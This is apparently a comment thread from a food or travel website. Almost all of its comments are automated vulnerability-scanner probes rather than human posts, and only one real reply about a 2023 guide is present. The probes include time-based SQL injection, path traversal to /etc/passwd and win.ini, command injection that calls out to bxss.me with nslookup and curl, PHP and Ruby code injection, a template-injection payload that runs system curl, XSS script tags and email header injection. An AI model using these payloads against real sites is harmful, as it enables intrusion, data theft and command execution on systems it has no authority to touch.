yYNJ07mN' OR 162=(SELECT 162 FROM PG_SLEEP(15))--
re: kk1337
CwYCK7ky') OR 841=(SELECT 841 FROM PG_SLEEP(15))--
re: kk1337
c5n0O55X')) OR 869=(SELECT 869 FROM PG_SLEEP(15))--
re: kk1337
*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
re: kk1337
'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
re: kk1337
'||(select 1 from (select pg_sleep(15))x)||'
re: kk1337
''||(select 1 from (select pg_sleep(15))x)||''
re: kk1337
1'"
re: kk1337
@@hBUfd
@guest as I noted it was published in 2023. If you have a more up-to-date guide please share it.
re: thetokyogourmet
1CmPkBtVIcO
re: thetokyogourmet
response.write(9445419*9509964)
re: thetokyogourmet
'+response.write(9445419*9509964)+'
re: thetokyogourmet
%0abcc:074625.67-22101.67.6ddaa.19990.2@bxss.me
re: thetokyogourmet
"+response.write(9445419*9509964)+"
re: thetokyogourmet
to@example.com>%0d%0abcc:074625.67-22102.67.6ddaa.19990.2@bxss.me
re: thetokyogourmet
<esi:include src="http://bxss.me/rpb.png"/>
re: thetokyogourmet
${10000320+10000095}
re: thetokyogourmet
../../../../../../../../../../../../../../etc/passwd
re: thetokyogourmet
../../../../../../../../../../../../../../windows/win.ini
re: thetokyogourmet
file:///etc/passwd
re: thetokyogourmet
../../../../../../../../../../../../../../../proc/version
re: thetokyogourmet
..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd
re: thetokyogourmet
../../../../../../../../../../etc/passwd%00.jpg
re: thetokyogourmet
'.gethostbyname(lc('hitrl'.'daowoxvt14468.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(108).chr(79).chr(112).chr(69).'
re: thetokyogourmet
..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd%00.jpg
re: thetokyogourmet
)
re: thetokyogourmet
".gethostbyname(lc("hitlc"."jjqkfpbtf0235.bxss.me."))."A".chr(67).chr(hex("58")).chr(120).chr(81).chr(114).chr(74)."
re: thetokyogourmet
/../..//../..//../..//../..//../..//etc/passwd%00.jpg
re: thetokyogourmet
!(()&&!|*|*|
re: thetokyogourmet
.\\./.\\./.\\./.\\./.\\./.\\./etc/passwd
re: thetokyogourmet
^(#$!@#$)(()))******
re: thetokyogourmet
/etc/passwd
re: thetokyogourmet
echo xcraea$()\ ugiomo\nz^xyu||a #' &echo xcraea$()\ ugiomo\nz^xyu||a #|" &echo xcraea$()\ ugiomo\nz^xyu||a #
re: thetokyogourmet
&echo wuzkdr$()\ ksmdzi\nz^xyu||a #' &echo wuzkdr$()\ ksmdzi\nz^xyu||a #|" &echo wuzkdr$()\ ksmdzi\nz^xyu||a #
re: thetokyogourmet
%2fetc%2fpasswd
re: thetokyogourmet
|echo mxfhby$()\ qziaax\nz^xyu||a #' |echo mxfhby$()\ qziaax\nz^xyu||a #|" |echo mxfhby$()\ qziaax\nz^xyu||a #
re: thetokyogourmet
/.././.././.././.././.././.././.././../etc/./passwd%00
re: thetokyogourmet
(nslookup hitoyiodgfbxbe312e.bxss.me||perl -e "gethostbyname('hitoyiodgfbxbe312e.bxss.me')")
re: thetokyogourmet
../..//../..//../..//../..//../..//../..//../..//../..//etc/passwd
re: thetokyogourmet
$(nslookup hitsshmcbyxuc5a666.bxss.me||perl -e "gethostbyname('hitsshmcbyxuc5a666.bxss.me')")
re: thetokyogourmet
../.../.././../.../.././../.../.././../.../.././../.../.././../.../.././etc/passwd
re: thetokyogourmet
&nslookup hitkerkhmdxur46a05.bxss.me&'\"`0&nslookup hitkerkhmdxur46a05.bxss.me&`'
re: thetokyogourmet
../././../././../././../././../././../././../././../././../././../././etc/passwd
re: thetokyogourmet
http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs%3F.jpg
re: thetokyogourmet
HttP://bxss.me/t/xss.html?%00
re: thetokyogourmet
&(nslookup hitvslfoiwqjy4932a.bxss.me||perl -e "gethostbyname('hitvslfoiwqjy4932a.bxss.me')")&'\"`0&(nslookup hitvslfoiwqjy4932a.bxss.me||perl -e "gethostbyname('hitvslfoiwqjy4932a.bxss.me')")&`'
re: thetokyogourmet
..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%afetc/passwd
re: thetokyogourmet
"+"A".concat(70-3).concat(22*4).concat(101).concat(74).concat(103).concat(74)+(require"socket"
Socket.gethostbyname("hitjj"+"mxqcyiyw85fa9.bxss.me.")[3].to_s)+"
re: thetokyogourmet
1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs%00.jpg
re: thetokyogourmet
bxss.me/t/xss.html?%00
re: thetokyogourmet
|(nslookup hitlrlychjwseb7377.bxss.me||perl -e "gethostbyname('hitlrlychjwseb7377.bxss.me')")
re: thetokyogourmet
invalid../../../../../../../../../../etc/passwd/././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././.
re: thetokyogourmet
'+'A'.concat(70-3).concat(22*4).concat(112).concat(83).concat(117).concat(88)+(require'socket'
Socket.gethostbyname('hitxt'+'efzenbipa494e.bxss.me.')[3].to_s)+'
re: thetokyogourmet
Http://bxss.me/t/fit.txt
re: thetokyogourmet
`(nslookup hitwbonofmepbbadb5.bxss.me||perl -e "gethostbyname('hitwbonofmepbbadb5.bxss.me')")`
re: thetokyogourmet
file:///etc/passwd
re: thetokyogourmet
http://bxss.me/t/fit.txt%3F.jpg
re: thetokyogourmet
;(nslookup hitienimekccz5b696.bxss.me||perl -e "gethostbyname('hitienimekccz5b696.bxss.me')")|(nslookup hitienimekccz5b696.bxss.me||perl -e "gethostbyname('hitienimekccz5b696.bxss.me')")&(nslookup hitienimekccz5b696.bxss.me||perl -e "gethostbyname('hitienimekccz5b696.bxss.me')")
re: thetokyogourmet
/\../\../\../\../\../\../\../etc/passwd
re: thetokyogourmet
/etc/shells
re: thetokyogourmet
/WEB-INF/web.xml
re: thetokyogourmet
)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))
re: thetokyogourmet
c:/windows/win.ini
re: thetokyogourmet
;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));
re: thetokyogourmet
C:\WINDOWS\system32\drivers\etc\hosts
re: thetokyogourmet
bxss.me
re: thetokyogourmet
';print(md5(31337));$a='
re: thetokyogourmet
../../../../../../../../../../windows/win.ini%00.jpg
re: thetokyogourmet
";print(md5(31337));$a="
re: thetokyogourmet
/../../../../../../../../../../boot.ini
re: thetokyogourmet
${@print(md5(31337))}
re: thetokyogourmet
'"
re: thetokyogourmet
%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%afwindows%c0%afwin.ini
re: thetokyogourmet
${@print(md5(31337))}\
re: thetokyogourmet
<!--
re: thetokyogourmet
..\..\..\..\..\..\..\..\windows\win.ini
re: thetokyogourmet
'.print(md5(31337)).'
re: thetokyogourmet
..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5cwindows%5cwin.ini
re: thetokyogourmet
/.\\./.\\./.\\./.\\./.\\./.\\./windows/win.ini
re: thetokyogourmet
../..//../..//../..//../..//../..//../..//../..//../..//windows/win.ini
re: thetokyogourmet
../.../.././../.../.././../.../.././../.../.././../.../.././../.../.././windows/win.ini
re: thetokyogourmet
unexisting/../../../../../../../../../../windows/win.ini.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\
re: thetokyogourmet
WEB-INF/web.xml
re: thetokyogourmet
WEB-INF\web.xml
re: thetokyogourmet
1
re: thetokyogourmet
1
re: thetokyogourmet
-1 OR 2+680-680-1=0+0+0+1 --
re: thetokyogourmet
-1 OR 3+680-680-1=0+0+0+1 --
re: thetokyogourmet
-1 OR 2+631-631-1=0+0+0+1
re: thetokyogourmet
-1 OR 3+631-631-1=0+0+0+1
re: thetokyogourmet
-1' OR 2+979-979-1=0+0+0+1 --
re: thetokyogourmet
-1' OR 3+979-979-1=0+0+0+1 --
re: thetokyogourmet
-1' OR 2+840-840-1=0+0+0+1 or 'vOs46dow'='
re: thetokyogourmet
-1' OR 3+840-840-1=0+0+0+1 or 'vOs46dow'='
re: thetokyogourmet
-1" OR 2+420-420-1=0+0+0+1 --
re: thetokyogourmet
-1" OR 3+420-420-1=0+0+0+1 --
re: thetokyogourmet
if(now()=sysdate(),sleep(15),0)
re: thetokyogourmet
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
re: thetokyogourmet
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
re: thetokyogourmet
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
re: thetokyogourmet
-1; waitfor delay '0:0:15' --
re: thetokyogourmet
-1); waitfor delay '0:0:15' --
re: thetokyogourmet
1 waitfor delay '0:0:15' --
re: thetokyogourmet
4MB2hgCD'; waitfor delay '0:0:15' --
re: thetokyogourmet
-5 OR 751=(SELECT 751 FROM PG_SLEEP(15))--
re: thetokyogourmet
-5) OR 36=(SELECT 36 FROM PG_SLEEP(15))--
re: thetokyogourmet
-1)) OR 711=(SELECT 711 FROM PG_SLEEP(15))--
re: thetokyogourmet
EfoOuYeT' OR 899=(SELECT 899 FROM PG_SLEEP(15))--
re: thetokyogourmet
xCjGctvE') OR 725=(SELECT 725 FROM PG_SLEEP(15))--
re: thetokyogourmet
Ji73ObWR')) OR 478=(SELECT 478 FROM PG_SLEEP(15))--
re: thetokyogourmet
1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
re: thetokyogourmet
1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
re: thetokyogourmet
'||(select 1 from (select pg_sleep(15))x)||'
re: thetokyogourmet
''||(select 1 from (select pg_sleep(15))x)||''
re: thetokyogourmet
1'"
re: thetokyogourmet
@@UbwoJ
re: thetokyogourmet
1CLVR9E9V0
re: thetokyogourmet
response.write(9960322*9116785)
re: thetokyogourmet
'+response.write(9960322*9116785)+'
re: thetokyogourmet
"+response.write(9960322*9116785)+"
re: thetokyogourmet
../../../../../../../../../../../../../../etc/passwd
re: thetokyogourmet
<esi:include src="http://bxss.me/rpb.png"/>
re: thetokyogourmet
../../../../../../../../../../../../../../windows/win.ini
re: thetokyogourmet
${9999948+10000466}
re: thetokyogourmet
file:///etc/passwd
re: thetokyogourmet
../
re: thetokyogourmet
)
re: thetokyogourmet
!(()&&!|*|*|
re: thetokyogourmet
^(#$!@#$)(()))******
re: thetokyogourmet
redirtest.acx
re: thetokyogourmet
http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs?.jpg
re: thetokyogourmet
echo xvewis$()\ qwwmta\nz^xyu||a #' &echo xvewis$()\ qwwmta\nz^xyu||a #|" &echo xvewis$()\ qwwmta\nz^xyu||a #
re: thetokyogourmet
1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs .jpg
re: thetokyogourmet
&echo dxdbvh$()\ zmoajb\nz^xyu||a #' &echo dxdbvh$()\ zmoajb\nz^xyu||a #|" &echo dxdbvh$()\ zmoajb\nz^xyu||a #
re: thetokyogourmet
/etc/shells
re: thetokyogourmet
'.gethostbyname(lc('hitjr'.'lkismggv7e7c9.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(97).chr(90).chr(121).chr(65).'
re: thetokyogourmet
|echo tkqcln$()\ mlvilj\nz^xyu||a #' |echo tkqcln$()\ mlvilj\nz^xyu||a #|" |echo tkqcln$()\ mlvilj\nz^xyu||a #
re: thetokyogourmet
../../../../../../../../../../../../../../etc/shells
re: thetokyogourmet
".gethostbyname(lc("hitwj"."wuldtvrr5cdeb.bxss.me."))."A".chr(67).chr(hex("58")).chr(109).chr(70).chr(113).chr(68)."
re: thetokyogourmet
expr 9000877123 - 976922
re: thetokyogourmet
gethostbyname(lc('hithr'.'qkdnpoqy85012.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(97).chr(88).chr(103).chr(72)
re: thetokyogourmet
c:/windows/win.ini
re: thetokyogourmet
(nslookup -q=cname hitxveumpyqxc15485.bxss.me||curl hitxveumpyqxc15485.bxss.me))
re: thetokyogourmet
bxss.me
re: thetokyogourmet
$(nslookup -q=cname hitalostdrywhbd705.bxss.me||curl hitalostdrywhbd705.bxss.me)
re: thetokyogourmet
Http://bxss.me/t/fit.txt
re: thetokyogourmet
&nslookup -q=cname hitqbodihdvgj13db3.bxss.me&'\"`0&nslookup -q=cname hitqbodihdvgj13db3.bxss.me&`'
re: thetokyogourmet
http://bxss.me/t/fit.txt?.jpg
re: thetokyogourmet
&(nslookup -q=cname hitnztiysdvdf90511.bxss.me||curl hitnztiysdvdf90511.bxss.me)&'\"`0&(nslookup -q=cname hitnztiysdvdf90511.bxss.me||curl hitnztiysdvdf90511.bxss.me)&`'
re: thetokyogourmet
ctime
sleep
p0
(I30
tp1
Rp2
.
re: thetokyogourmet
|(nslookup -q=cname hitxtqpdtqvcc6de79.bxss.me||curl hitxtqpdtqvcc6de79.bxss.me)
re: thetokyogourmet
`(nslookup -q=cname hitqgsbjvlivae62a0.bxss.me||curl hitqgsbjvlivae62a0.bxss.me)`
re: thetokyogourmet
;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));
re: thetokyogourmet
;(nslookup -q=cname hitikskopndxbc8f9d.bxss.me||curl hitikskopndxbc8f9d.bxss.me)|(nslookup -q=cname hitikskopndxbc8f9d.bxss.me||curl hitikskopndxbc8f9d.bxss.me)&(nslookup -q=cname hitikskopndxbc8f9d.bxss.me||curl hitikskopndxbc8f9d.bxss.me)
re: thetokyogourmet
';print(md5(31337));$a='
re: thetokyogourmet
|(nslookup${IFS}-q${IFS}cname${IFS}hitmnsgvcvnhyf791d.bxss.me||curl${IFS}hitmnsgvcvnhyf791d.bxss.me)
re: thetokyogourmet
";print(md5(31337));$a="
re: thetokyogourmet
&(nslookup${IFS}-q${IFS}cname${IFS}hityofbyufqnbc7b0a.bxss.me||curl${IFS}hityofbyufqnbc7b0a.bxss.me)&'\"`0&(nslookup${IFS}-q${IFS}cname${IFS}hityofbyufqnbc7b0a.bxss.me||curl${IFS}hityofbyufqnbc7b0a.bxss.me)&`'
re: thetokyogourmet
'"()
re: thetokyogourmet
${@print(md5(31337))}
re: thetokyogourmet
'&&sleep(27*1000)*okleyx&&'
re: thetokyogourmet
${@print(md5(31337))}\
re: thetokyogourmet
"&&sleep(27*1000)*xxgcws&&"
re: thetokyogourmet
'.print(md5(31337)).'
re: thetokyogourmet
'||sleep(27*1000)*sxwfij||'
re: thetokyogourmet
"||sleep(27*1000)*mjpygy||"
re: thetokyogourmet
HttP://bxss.me/t/xss.html?%00
re: thetokyogourmet
bxss.me/t/xss.html?%00
re: thetokyogourmet
"+"A".concat(70-3).concat(22*4).concat(97).concat(66).concat(118).concat(75)+(require"socket"
Socket.gethostbyname("hitnl"+"txjuhyvt76957.bxss.me.")[3].to_s)+"
re: thetokyogourmet
'+'A'.concat(70-3).concat(22*4).concat(100).concat(89).concat(99).concat(84)+(require'socket'
Socket.gethostbyname('hitzv'+'wspeuqnt19a13.bxss.me.')[3].to_s)+'
re: thetokyogourmet
replies
re: thetokyogourmet
'A'.concat(70-3).concat(22*4).concat(115).concat(80).concat(102).concat(89)+(require'socket'
Socket.gethostbyname('hitjk'+'rlzqesub6675c.bxss.me.')[3].to_s)
re: thetokyogourmet
replies
re: thetokyogourmet
replies/.
re: thetokyogourmet
'"
re: thetokyogourmet
<!--
re: thetokyogourmet
'"()&%<zzz><ScRiPt >yA3z(9886)</ScRiPt>
re: thetokyogourmet
{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("curl hityenlloeqet53646.bxss.me")}}
re: thetokyogourmet
'"()&%<zzz><ScRiPt >yA3z(9941)</ScRiPt>
re: thetokyogourmet
9900952
re: thetokyogourmet
4I7XrTn0
re: thetokyogourmet
*1
re: thetokyogourmet
*1
re: thetokyogourmet
*1
re: thetokyogourmet
*1
re: thetokyogourmet
-1 OR 5*5=25 --
re: thetokyogourmet
-1 OR 5*5=26 --
re: thetokyogourmet
-1 OR 5*5=25
re: thetokyogourmet
-1 OR 5*5=26
re: thetokyogourmet
*if(now()=sysdate(),sleep(15),0)
re: thetokyogourmet
0'XOR(
*if(now()=sysdate(),sleep(15),0))XOR'Z
re: thetokyogourmet
0"XOR(
*if(now()=sysdate(),sleep(15),0))XOR"Z
re: thetokyogourmet
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
re: thetokyogourmet
-1; waitfor delay '0:0:15' --
re: thetokyogourmet
-1); waitfor delay '0:0:15' --
re: thetokyogourmet
-1 waitfor delay '0:0:15' --
re: thetokyogourmet
0MfwOTsw'; waitfor delay '0:0:15' --
re: thetokyogourmet
-1 OR 863=(SELECT 863 FROM PG_SLEEP(15))--
re: thetokyogourmet
-1) OR 90=(SELECT 90 FROM PG_SLEEP(15))--
re: thetokyogourmet
-1)) OR 507=(SELECT 507 FROM PG_SLEEP(15))--
re: thetokyogourmet
SbrUntvm' OR 791=(SELECT 791 FROM PG_SLEEP(15))--
re: thetokyogourmet
fTHPmyi3') OR 673=(SELECT 673 FROM PG_SLEEP(15))--
re: thetokyogourmet
0CfWpcAg')) OR 856=(SELECT 856 FROM PG_SLEEP(15))--
re: thetokyogourmet
*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
re: thetokyogourmet
'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
re: thetokyogourmet
'||(select 1 from (select pg_sleep(15))x)||'
re: thetokyogourmet
''||(select 1 from (select pg_sleep(15))x)||''
re: thetokyogourmet
'"
re: thetokyogourmet
@@IU6kn
re: thetokyogourmet
(select 198766*667891)
re: thetokyogourmet
(select 198766*667891 from DUAL)
re: thetokyogourmet
EFoKEYol
re: thetokyogourmet
*1
re: thetokyogourmet
*1
re: thetokyogourmet
*1
re: thetokyogourmet
*1
re: thetokyogourmet
-1 OR 5*5=25 --
re: thetokyogourmet
-1 OR 5*5=26 --
re: thetokyogourmet
-1 OR 5*5=25
re: thetokyogourmet
-1 OR 5*5=26
re: thetokyogourmet
*if(now()=sysdate(),sleep(15),0)
re: thetokyogourmet
0'XOR(
*if(now()=sysdate(),sleep(15),0))XOR'Z
re: thetokyogourmet
0"XOR(
*if(now()=sysdate(),sleep(15),0))XOR"Z
re: thetokyogourmet
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
re: thetokyogourmet
-1; waitfor delay '0:0:15' --
re: thetokyogourmet
-1); waitfor delay '0:0:15' --
re: thetokyogourmet
-1 waitfor delay '0:0:15' --
re: thetokyogourmet
zbJT7CGG'; waitfor delay '0:0:15' --
re: thetokyogourmet
-1 OR 677=(SELECT 677 FROM PG_SLEEP(15))--
re: thetokyogourmet
-1) OR 415=(SELECT 415 FROM PG_SLEEP(15))--
re: thetokyogourmet
-1)) OR 901=(SELECT 901 FROM PG_SLEEP(15))--
re: thetokyogourmet
K46YqAlG' OR 647=(SELECT 647 FROM PG_SLEEP(15))--
re: thetokyogourmet
T4zKB2An') OR 165=(SELECT 165 FROM PG_SLEEP(15))--
re: thetokyogourmet
qappUU07')) OR 607=(SELECT 607 FROM PG_SLEEP(15))--
re: thetokyogourmet
